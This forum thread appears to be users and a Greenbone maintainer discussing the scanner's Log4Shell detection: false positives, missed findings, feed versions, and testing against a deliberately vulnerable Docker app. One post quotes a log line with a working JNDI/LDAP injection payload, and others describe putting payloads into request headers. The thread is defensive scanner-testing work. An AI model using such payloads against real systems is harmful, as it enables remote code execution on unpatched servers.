Hey again,
I experimented a little with the nasl.
The http check usually builds payloads for url, referer and user-agent. Some applications, like tomcat/springboot look for the “X-Api-Versions” - Header. I forged a payload request with this header in mind and boom → The faulty app made a request to greenbone and the latter picked it up and triggered a beautiful 10.0 score.
For the false-positives:
I guess there is an issue with finding random ports for the reply check. They are picked in the range of 1 - 65535. Usually it should use only higher ports. When the check is observing the returning requests via filter, it picks up some “static” and interprets these as a trigger…or something else messes with the “res” field.
In our case the full and fast scan today found the vulnerability whereas the log4shell one did not report it. We have opened all comms from our servers back to the scanner. as stated before we got false positives on servers that don’t have java installed nor running any kind of java apps.
I just want to make sure I understand correctly, is this one single target machine that was scanned twice (yesterday and today), or two target machines with the same configuration scanned once? Thanks!
Does the inconsistent reporting by scan type you are describing match up to what @Crisio is seeing?
For the machines that are being detected as having Java installed, but not actually having it installed- that’s weird. Yep, that’s be a false positive and I’ll make a special note to pass on. I don’t know how it interacts with Microsoft Certificate services, but that’s good info to include. Thank you!
I don’t always see when the feed is updated as it happens (though it should update version number in-app as it’s refreshed) and it can update while I’m not here, so a page listing the current version could be cool. I’ll ask about that for a future idea.
@DeeAnn Yes that is the same for us. Yesterday the scans showed the issue and today we don’t see it anymore. right now i am waiting for the Log4Shell scan to finish as in our case takes about 5 hours. So far the Log4Shell scan is not showing anything at 88 %
This is what i mean by the false positives on servers not running java
.
Sounds good. Just as additional information, I’m using the following application to test out the scanners to make sure they are picking up vulnerable apps:
This is a Docker-based application that is specifically designed to be vulnerable to the attack. I’m also using the following scanner that looks specifically for log4shell vulnerabilities:
The log4j-scan utility definitely picks up the application mentioned above; Greenbone (still) does not.
“Received a request for API version ${jndi:ldap://172.30.13.2:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}”
in the logs. Whenever the Greenbone scan run, no string like “{jndi:ldap://XXX}” can be found in the logs.
Also, i ran an tcpdump and could see, that Greenbone did send an TCP RST when Log4j tried to contact the listening LDAP server which should have been exposed by the Greenbone scan.
Just a quick update (it has been indeed quite some busy days):
Some improvements to rule out possible additional false positives caused by a “port conflict” between the used “connection back” port and other source ports (currently used by the scanner for other connections against the target) have made it into the feed today (since a few hours at around 12.00 CET).
Please do note that (AFAIK) such a header like X-Api-Version is no standard header and might only exists on such “artificially” vulnerable made environments like the docker container in question:
I might be still wrong (please correct me if this is the case, always happy to learn) but basically why should an application only log this single non-standard header but not other things like the URL or other more standard headers?
Nevertheless the specific header has been already added to the HTTP based detection in question (with some additional updates) today (change will arrive in the feed tomorrow) so that the vulnerability will show up for everyone testing a scan against the vulnerable docker container in question.
If there are suggestions how to improve the detection via HTTP please let us know. We’re happy about any feedback about that as Log4j is highly customizable and might require a high amount of fuzzing / guessing / trying for being able to catch every single affected application or corner case.
what version should the NVT be right now? my one shows 20211214T0924 so i guess it did not pick up the latest changes. i did ran the commands to update but just to confirm
I’m not sure how far behind the community feed lags from the Enterprise ones - I’ve just updated in the past hour and I’m seeing the following versions:
NVT: 20211213T1238
SCAP: 20211214T0230
CERT: 20211214T0130
GVMD_DATA: 20211213T1700
